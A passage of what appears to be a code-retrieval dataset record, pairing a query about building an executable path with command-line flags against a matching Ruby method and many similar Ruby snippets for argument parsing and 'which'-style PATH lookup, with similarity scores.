"def add_arguments(*args)\n @arguments ||= Arguments.new\n args.each_with_index do |arg,a|\n argk, argv = *parse_arg(arg)\n \n # if the argument is not a known flag, is not a valid argument and the last argument was\n # a known flag, this must be a value for the last argument\n if !argument_flag?(arg) && !valid_argument?(argk) && (a > 0 && argument_flag?(args[a-1]))\n @arguments.last.value = arg\n next\n end\n\n # swap key/val to create an unnamed arg - if we're not a valid arg and we're the last argument or the\n # next argument is a valid arg we must be an unnamed argument\n if !valid_argument?(argk) && (!args[a+1] || valid_argument?(parse_arg(args[a+1])[0])) && (argv.nil? || argv.empty?) && !Commands::exists?(arg)\n argv = argk\n argk = nil\n end\n\n raise InvalidArgument, \"Invalid Argument: #{arg}\" if validate_arguments? && !valid_argument?(argk)\n @arguments << argument_object(argk)\n @arguments.last.value = argv unless argv.empty?\n end\n @arguments\n end",
"def initialize(args = [])\n self.args = args\n self.options = default_options\n extract_options!\n end",
"def initialize(args)\n args.each_pair do |n,v|\n self.send(n+'=',v)\n end\n end",
"def processCommandLineOptions\n if ARGV\n ARGV.each do |arg|\n if arg.index('=')\n setting, value = arg.split('=')\n setting = setting.chomp\n value = value.chomp.strip\n if setting == 'logLevel'\n value = value.upcase.gsub(/\\'/,'')\n level = LEVELS_TEXT.index(value.upcase)\n @currentLogLevel = level if level\n elsif setting == 'consoleLogging'\n @consoleLogging = value.downcase == 'true'\n elsif setting == 'logfile'\n @currentFileName = File.expand_path(value)\n end\n end\n end\n end\n end",
"def update!(**args)\n @apt = args[:apt] if args.key?(:apt)\n @goo = args[:goo] if args.key?(:goo)\n @yum = args[:yum] if args.key?(:yum)\n @zypper = args[:zypper] if args.key?(:zypper)\n end",
"def process_arguments\n @args << \"-h\" if(@args.length < 1)\n \n opts_parse = OptionParser.new do |opts|\n opts.on('-f','--file FILE','use the following local file') {|file| @options.file = File.expand_path(file)}\n opts.on('-p','--parse PARSE',\"sets which set of sider files to download #{@@sections.join(\"|\")}\") {|parse| @options.parse = parse}\n opts.on('-d','--download','download the file to be parsed') {@options.download = true}\n opts.on('-o','--output DIR','set the output directory') {|directory| @options.output = File.expand_path(directory)}\n opts.on('-h','--help',\"prints the help\"){puts opts; exit!}\n end\n \n opts_parse.parse!(@args) rescue raise \"There was an error processing command line arguments use -h to see help\"\n end",
"def load_command_line_options\n cmd_line_options.each do |key, value|\n ::Webby.site.__send__(\"#{key}=\", value)\n end\n end",
"def argv; end",
"def add_argument(arg)\n @options[:args] << arg\n end",
"def set_arg(index, value, size = nil)\n OpenCL.set_kernel_arg(self, index, value, size)\n end",
"def set_arg(index, value, size = nil)\n OpenCL.set_kernel_arg(self, index, value, size)\n end",
"def parse(args)\n @options = args\n end",
"def initialize argv\n @argv = argv.dup\n @options = {}\n while @argv[0] =~ /^-/\n option, value = @argv.shift.split(/[=:]/, 2)\n csv = (value =~ /,/ ? value.split(',') : Array(value))\n modes = csv.inject({}){|h,s| k, v = s.split(/=/, 2); h[k] = v || true; h }\n @options[option.sub(/^-*/,'')] = modes\n end\n end",
"def parse_command_line(args)\n all_opts = OptionParser.new do |opts|\n opts.banner = \"Usage: #{PROGRAM_NAME} [OPTIONS] PASSWORD\"\n opts.separator ''\n\n opts.on(\n '-t',\n '--load-timeout [TIMEOUT_SECONDS]',\n Integer,\n 'Timeout in seconds to wait for',\n 'gitlab-rails console to load',\n 'and process the change.',\n \"Defaults to #{DEFAULT_LOAD_TIMEOUT} seconds.\"\n ) do |timeout|\n @options.load_timeout = timeout\n end\n\n opts.on(\n '-v',\n '--verbose',\n 'Print out debug info when processing.'\n ) do\n @options.debug = true\n end\n\n opts.on(\n '-h',\n '--help',\n 'Help Message'\n ) do\n puts opts\n @options.help_requested = true\n end\n end\n\n all_opts.parse!(args)\n\n unless @options.help_requested\n fail('ERROR: You must specify the password to set') if (ARGV.length < 1)\n\n @options.password = ARGV[0]\n fail('ERROR: Password cannot be empty') if @options.password.strip.empty?\n end\n end",
"def arguments=(_arg0); end"
] |
[
"0.75514394",
"0.74664444",
"0.7347841",
"0.7033323",
"0.7001379",
"0.6948462",
"0.6611544",
"0.6548069",
"0.6478863",
"0.6445091",
"0.637463",
"0.637463",
"0.62688684",
"0.62292325",
"0.6220767",
"0.614551",
"0.614067",
"0.60950977",
"0.6055364",
"0.6027271",
"0.6013237",
"0.5998676",
"0.59914494",
"0.59854084",
"0.5967393",
"0.5967393",
"0.5964678",
"0.59626585",
"0.59626585",
"0.59626585",
"0.59626585",
"0.59626585",
"0.5952099",
"0.5944331",
"0.58616436",
"0.5857818",
"0.58443683",
"0.5840755",
"0.58347225",
"0.5823404",
"0.58192134",
"0.58152026",
"0.58085644",
"0.5786672",
"0.57501554",
"0.57319903",
"0.57305855",
"0.57078356",
"0.5706923",
"0.56964785",
"0.5694455",
"0.56813943",
"0.56790286",
"0.5676612",
"0.5676612",
"0.567622",
"0.5663345",
"0.5658377",
"0.5657382",
"0.56525713",
"0.56525713",
"0.5647037",
"0.56444293",
"0.56316805",
"0.5626915",
"0.56262535",
"0.5613196",
"0.5604819",
"0.5597871",
"0.5597871",
"0.5597871",
"0.5597871",
"0.5597871",
"0.5597871",
"0.5597871",
"0.5597871",
"0.5597871",
"0.5597871",
"0.5597871",
"0.5597871",
"0.5597871",
"0.55789673",
"0.5575887",
"0.5569679",
"0.55663115",
"0.5562852",
"0.55611134",
"0.5551717",
"0.5546499",
"0.55409116",
"0.5539758",
"0.5532012",
"0.55296654",
"0.5523241",
"0.552274",
"0.55193794",
"0.55193794",
"0.5494415",
"0.54923457",
"0.5481262",
"0.54741883"
] |
0.0
|
-1
|
Returns fully formed executable path with any command line switches we've set based on our variables.
|
def exe_path
# Add any standard cmd line arguments we need to pass
@exe_path << " --input=html --server --log=#{log_file} "
@exe_path << @cmd_args
@exe_path << @style_sheets
return @exe_path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def exe_path\n # Add any standard cmd line arguments we need to pass\n @exe_path << \" --input=html --server --log='#{log_file}' \"\n @exe_path << @cmd_args\n @exe_path << @style_sheets\n return @exe_path\n end",
"def executable_path=(_arg0); end",
"def build_command_line(name, *args)\n executable = (ZTK::Locator.find('bin', name) rescue \"/usr/bin/env #{name}\")\n [executable, args].flatten.compact.join(' ')\n end",
"def executable_path; end",
"def bin_path(_opts)\n '/bin'\n end",
"def bin_path(_opts)\n '/bin'\n end",
"def bin_path(_opts)\n '/bin'\n end",
"def shell_path\n value = shell_name.to_s\n\n if value.match(/^\\//)\n # Absolute path already provided (starts with \"/\")\n value.p\n else\n # Shell name provided, use \"which\" to find the executable\n which(value).p\n end\n end",
"def command\n ([executable] + options_composition + @redirections).join(\" \")\n end",
"def PATH()\n path = []\n list.each do |name|\n lib = Library[name] # TODO: This activates each library, probably not what we want, get max version instead?\n path << lib.bindir if lib.bindir?\n end\n path.join(windows_platform? ? ';' : ':')\n end",
"def cmd_path\n return @cmd_path unless @cmd_path.nil?\n\n @cmd_path = File.join(context.root_path, 'bin', cmd)\n # Return the path to the command if it exists on disk, or we have a gemfile (i.e. Bundled install)\n # The Bundle may be created after the prepare_invoke so if the file doesn't exist, it may not be an error\n return @cmd_path if PDK::Util::Filesystem.exist?(@cmd_path) || !PDK::Util::Bundler::BundleHelper.new.gemfile.nil?\n\n # But if there is no Gemfile AND cmd doesn't exist in the default path, we need to go searching...\n @cmd_path = alternate_bin_paths.map { |alternate_path| File.join(alternate_path, cmd) }\n .find { |path| PDK::Util::Filesystem.exist?(path) }\n return @cmd_path unless @cmd_path.nil?\n\n # If we can't find it anywhere, just let the OS find it\n @cmd_path = cmd\n end",
"def path_with_prepended_ruby_bin\n env_path = ENV[\"PATH\"].dup || \"\"\n existing_paths = env_path.split(File::PATH_SEPARATOR)\n existing_paths.unshift(RbConfig::CONFIG[\"bindir\"])\n env_path = existing_paths.join(File::PATH_SEPARATOR)\n env_path.encode(\"utf-8\", invalid: :replace, undef: :replace)\n end",
"def cmdline\n if @cmdline.nil?\n cmdline = \"#{@cmd}\"\n @args.each do |arg|\n cmdline << (arg.to_s.index(\" \") ? \" \\\"#{arg}\\\"\" : \" #{arg}\")\n end if @args\n @cmdline = cmdline\n end\n @cmdline\n end",
"def ruby_path\n ext = ((RbConfig::CONFIG['ruby_install_name'] =~ /\\.(com|cmd|exe|bat|rb|sh)$/) ? \"\" : RbConfig::CONFIG['EXEEXT'])\n File.join(RbConfig::CONFIG['bindir'], RbConfig::CONFIG['ruby_install_name'] + ext).sub(/.*\\s.*/m, '\"\\&\"')\n end",
"def expand_command(command)\n if match = /^\"(.+?)\"(?:\\s+(.*))?/.match(command)\n exe, arguments = match.captures\n exe = which(exe) and [ \"\\\"#{exe}\\\"\", arguments ].compact.join(\" \")\n elsif match = /^'(.+?)'(?:\\s+(.*))?/.match(command) and not Facter::Util::Config.is_windows?\n exe, arguments = match.captures\n exe = which(exe) and [ \"'#{exe}'\", arguments ].compact.join(\" \")\n else\n exe, arguments = command.split(/ /,2)\n if exe = which(exe)\n # the binary was not quoted which means it contains no spaces. But the\n # full path to the binary may do so.\n exe = \"\\\"#{exe}\\\"\" if exe =~ /\\s/ and Facter::Util::Config.is_windows?\n exe = \"'#{exe}'\" if exe =~ /\\s/ and not Facter::Util::Config.is_windows?\n [ exe, arguments ].compact.join(\" \")\n end\n end\n end",
"def format_right_run_path(executable_path, executable_arguments)\n if @@right_run_path.nil?\n @@right_run_path = \"\"\n if ENV['ProgramW6432'] && (@@right_run_path = ENV['RS_RIGHT_RUN_EXE'].to_s).empty?\n temp_path = File.join(ENV['ProgramW6432'], 'RightScale', 'Shared', 'RightRun.exe')\n if File.file?(temp_path)\n @@right_run_path = File.normalize_path(temp_path).gsub(\"/\", \"\\\\\")\n end\n end\n end\n unless @@right_run_path.empty?\n executable_arguments.unshift(executable_path)\n executable_path = @@right_run_path\n end\n\n return executable_path, executable_arguments\n end",
"def which cmd\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which cmd\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def build_cmd_paths_hash\n {}.tap do |hash|\n %w( which cat mkdir cp chown chmod rm tar chown ip ifconfig brctl ).each do |cmd|\n #hash[cmd] = `which #{cmd}`.strip\n hash[cmd] = \"/usr/bin/#{cmd}\"\n end\n #hash['lxc_bin'] = Pathname(`which lxc-create`.strip).parent.to_s\n hash['lxc_bin'] = \"/usr/bin\"\n end\n end",
"def bin_path\n '/usr/local/bin'.p\n end",
"def cmdline\n begin\n # The arguments are separated by nulls (\\000) - Substitute it\n # with spaces, which is way more human.\n File.read(\"/proc/#{@pid}/cmdline\").gsub /\\000/, ' '\n rescue Errno::ENOENT\n nil\n end\n end",
"def executable_path\n if RUBY_PLATFORM.match?(/darwin/)\n \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\"\n else\n \"google-chrome-stable\"\n end\n end",
"def executable(type)\n type = type.to_s\n exe_path = File.join(File.dirname(RbConfig.ruby), \"#{type}.exe\")\n bat_path = File.join(File.dirname(RbConfig.ruby), \"#{type}.bat\")\n ruby_path = File.join(File.dirname(RbConfig.ruby), type)\n\n if Gem.win_platform?\n if File.exist?(exe_path)\n return \"\\\"#{exe_path}\\\"\"\n elsif File.exist?(bat_path)\n return \"\\\"#{bat_path}\\\"\"\n end\n elsif File.exist?(ruby_path)\n return ruby_path\n end\n\n # Fall back to PATH lookup if known path does not exist\n type\n end",
"def get_path\n cmd_exec('echo $PATH').to_s\n rescue\n raise \"Unable to determine path\"\n end",
"def format_executable_command(executable_file_path, *arguments)\n escaped = []\n [executable_file_path, arguments].flatten.each do |arg|\n value = arg.to_s\n escaped << (value.index(' ') ? \"\\\"#{value}\\\"\" : value)\n end\n\n # let cmd do the extension resolution if no extension was given\n ext = File.extname(executable_file_path)\n if ext.nil? || ext.empty?\n \"cmd.exe /C \\\"#{escaped.join(\" \")}\\\"\"\n else\n escaped.join(\" \")\n end\n end",
"def build_command_line(tool_config, extra_params, *args)\n @tool_name = tool_config[:name]\n @executable = tool_config[:executable]\n\n command = {}\n\n # basic premise is to iterate top to bottom through arguments using '$' as\n # a string replacement indicator to expand globals or inline yaml arrays\n # into command line arguments via substitution strings\n # executable must be quoted if it includes spaces (common on windows)\n executable = @tool_executor_helper.osify_path_separators( expandify_element(@executable, *args) )\n executable = \"\\\"#{executable}\\\"\" if executable.include?(' ')\n command[:line] = [\n executable,\n extra_params.join(' ').strip,\n build_arguments(tool_config[:arguments], *args),\n ].reject{|s| s.nil? || s.empty?}.join(' ').strip\n\n command[:options] = {\n :stderr_redirect => @tool_executor_helper.stderr_redirection(tool_config, @configurator.project_logging),\n :background_exec => tool_config[:background_exec]\n }\n\n return command\n end",
"def get_executable(executable)\n if RUBY_PLATFORM =~ /mswin32/\n executable << '.exe'\n end\n executable\n end",
"def make_command_line(ary)\n case RUBY_PLATFORM\n when /mswin32|bccwin32/\n make_command_line_windows(ary)\n else\n make_command_line_unix(ary)\n end\n end",
"def get_commandline_tool\n host_os = RbConfig::CONFIG['host_os']\n case host_os\n when /mswin|msys|mingw|cygwin|bccwin|wince|emc/\n @command_line_tool = \"ccollab.exe\"\n when /linux/\n @command_line_tool = \"ccollab\" \n when /darwin|mac os/\n @command_line_tool = \"ccollab\"\n end\n end",
"def bin_path\n @bin_path ||= Wide::PathUtils.secure_path_join(Settings.compilation_base,\n user.user_name, name)\n end",
"def cli_path; end",
"def which(cmd)\r\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\r\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\r\n exts.each { |ext|\r\n exe = File.join(path, \"#{cmd}#{ext}\")\r\n return exe if File.executable? exe\r\n }\r\n end\r\n return nil\r\nend",
"def alternate_bin_paths\n [\n PDK::Util::RubyVersion.bin_path,\n File.join(PDK::Util::RubyVersion.gem_home, 'bin'),\n PDK::Util::RubyVersion.gem_paths_raw.map { |gem_path_raw| File.join(gem_path_raw, 'bin') },\n PDK::Util.package_install? ? File.join(PDK::Util.pdk_package_basedir, 'bin') : nil\n ].flatten.compact\n end",
"def filter_command(envs, cmd)\n new_env = {}\n merged_path = ENV[\"PATH\"].split(/:/)\n new_cmd = cmd\n envs.each do |env|\n case env\n when /=/\n k,v = env.split(/\\s*=\\s*/, 2)\n expand_parm(k,v,cmd) {|c, ae, p| new_env.update(ae); new_cmd = c; merged_path << p; }\n else\n expand(env,cmd) {|c, ae, p| new_env.update(ae); new_cmd = c; merged_path << p; }\n end\n end\n ENV[\"PATH\"] = merged_path.uniq.compact.join(\":\")\n [new_cmd.flatten.compact, new_env]\nend",
"def to_shellwords\n argv = []\n argv << %[--autopath] if autopath?\n argv << %[--verbose] if verbose?\n argv << %[--format=\"#{format}\"] if format\n argv << %[--chdir=\"#{chdir}\"] if chdir\n argv << %[--tags=\"#{tags.join(';')}\"] unless tags.empty?\n argv << %[--match=\"#{match.join(';')}\"] unless match.empty?\n argv << %[--units=\"#{units.join(';')}\"] unless units.empty?\n argv << %[--loadpath=\"#{loadpath.join(';')}\"] unless loadpath.empty?\n argv << %[--requires=\"#{requires.join(';')}\"] unless requires.empty?\n argv << files.join(' ') unless files.empty?\n argv\n end",
"def which(cmd)\r\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\r\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\r\n exts.each do |ext|\r\n exe = File.join(path, \"#{cmd}#{ext}\")\r\n return exe if File.executable?(exe) && !File.directory?(exe)\r\n end\r\n end\r\n nil\r\nend",
"def exec_env_filepath\n filename.to_s\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\n end",
"def cli_path=(_arg0); end",
"def env_path\n \"#{resolve_dir}:#{ENV['PATH']}:#{VENDOR_PATH}\"\n end",
"def vmm_command_line\n return eb(@config['vmm']['cmdline'])\n end",
"def get_all_path\n # some default directories\n env_paths = []\n env_paths << \"/bin\"\n env_paths << \"/usr/bin\"\n env_paths << \"/usr/local/bin\"\n env_paths << \"/sbin\"\n env_paths << \"/usr/sbin\"\n env_paths << \"/usr/local/sbin\"\n env_paths << \"/opt/bin\"\n env_paths += cmd_exec(\"echo $PATH\").split(\":\")\n env_paths.uniq\n end",
"def gem_bindir\n cmd = shell_out!([new_resource.absolute_gem_binary, 'environment'])\n # Parse a line like:\n # - EXECUTABLE DIRECTORY: /usr/local/bin\n matches = cmd.stdout.scan(/EXECUTABLE DIRECTORY: (.*)$/).first\n if matches\n matches.first\n else\n raise Error.new(\"Cannot find EXECUTABLE DIRECTORY: #{cmd.stdout}\")\n end\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n # return nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def exe\n conf['exe'] || \"#{proj.asmname}.exe\"\n end",
"def which(cmd)\r\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\r\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\r\n exts.each do |ext|\r\n exe = File.join(path, \"#{cmd}#{ext}\")\r\n return exe if File.executable?(exe) && !File.directory?(exe)\r\n end\r\n end\r\n nil\r\n end",
"def env_path\n @bin_resolver.env_path\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n\n nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\n end",
"def get_cmdline_str(args)\n # Build commandline string, with quotes around arguments with special\n # characters in them (i.e., characters interpreted by shell)\n args_str = \"\"\n quote = '\"'\n args.each do |arg|\n if not arg.kind_of?(String)\n raise RuntimeError, \"Argument not string: '#{arg}' (#{arg.class})\"\n end\n\n if arg.nil?\n next\n end\n # Quote whitespace and '\\'\n if not /[\\s\\\\]/.match(arg).nil?\n arg = \"#{quote}#{arg}#{quote}\"\n end\n args_str += \"#{arg} \"\n end\n args_str.strip!()\n\n return args_str\n end",
"def shell_path\n Configuration.disable_bc_shell? ? nil : Pathname.new('/bin/bash')\n end",
"def path\n Rails.root.join(ROOT, type, name, executable).to_s\n end",
"def ruby_gem_bindir\n cmd = shell_out!([new_resource.parent_ruby.gem_binary, 'environment'])\n # Parse a line like:\n # - EXECUTABLE DIRECTORY: /usr/local/bin\n matches = cmd.stdout.scan(/EXECUTABLE DIRECTORY: (.*)$/).first\n if matches\n matches.first\n else\n raise PoiseApplicationRuby::Error.new(\"Cannot find EXECUTABLE DIRECTORY: #{cmd.stdout}\")\n end\n end",
"def new_path_var(env)\n rbenv_root = exec_rbenv_root\n return env['PATH'] if rbenv_root.empty?\n\n re = /^#{Regexp.escape rbenv_root}\\/(versions|plugins|libexec)\\b/\n paths = env['PATH'].split(':')\n paths.reject! { |p| p =~ re }\n\n paths.join(':')\n end",
"def GetCmdLine\n ParseInstallationKernelCmdline() if !@cmdline_parsed\n @cmdLine\n end",
"def which(cmd, extra_path: %w{/bin /usr/bin /sbin /usr/sbin}, path: nil)\n # If it was already absolute, just return that.\n return cmd if cmd =~ /^(\\/|([a-z]:)?\\\\)/i\n # Allow passing something other than the real env var.\n path ||= ENV['PATH']\n # Based on Chef::Mixin::Which#which\n # Copyright 2010-2015, Chef Softare, Inc.\n paths = path.split(File::PATH_SEPARATOR) + extra_path\n paths.each do |candidate_path|\n filename = ::File.join(candidate_path, cmd)\n return filename if ::File.executable?(filename)\n end\n false\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = \"#{ path }/#{ cmd }#{ ext }\"\n return exe if File.executable?(exe)\n end\n end\n\n nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\nend",
"def bin_dir *args\n root.join('bin', *args).to_s\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\nreturn nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each {|ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n }\n end\n nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n end\n end\n\n nil\nend",
"def ruby_bin_path\n #config_section.ruby_bin_path || ENV['_'] =~ /ruby/ ||\n require 'rbconfig'\n File.expand_path(Config::CONFIG['RUBY_INSTALL_NAME'], Config::CONFIG['bindir'])\n end",
"def exec_cmd(*args)\n Kernel::exec({'PATH' => ENV['PATH'], 'LD_LIBRARY_PATH' => ENV['LD_LIBRARY_PATH'], 'GL_ID' => ENV['GL_ID']}, *args, unsetenv_others: true)\n end",
"def which(cmd)\n exts = ENV[\"PATHEXT\"] ? ENV[\"PATHEXT\"].split(\";\") : [\"\"]\n ENV[\"PATH\"].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\nend",
"def which_path(bin_name)\n bin_path = `which #{bin_name}`.strip\n bin_path.empty? ? nil : bin_path\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = \"#{ path }/#{ cmd }#{ ext }\"\n return exe if File.executable?(exe)\n end\n end\n\n nil\n end",
"def which program\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exe = File.join(path, program)\n return exe if File.file?(exe)\n end\n nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n }\n end\n return nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n }\n end\n return nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n end\n end\n nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n end\n end\n return nil\n end",
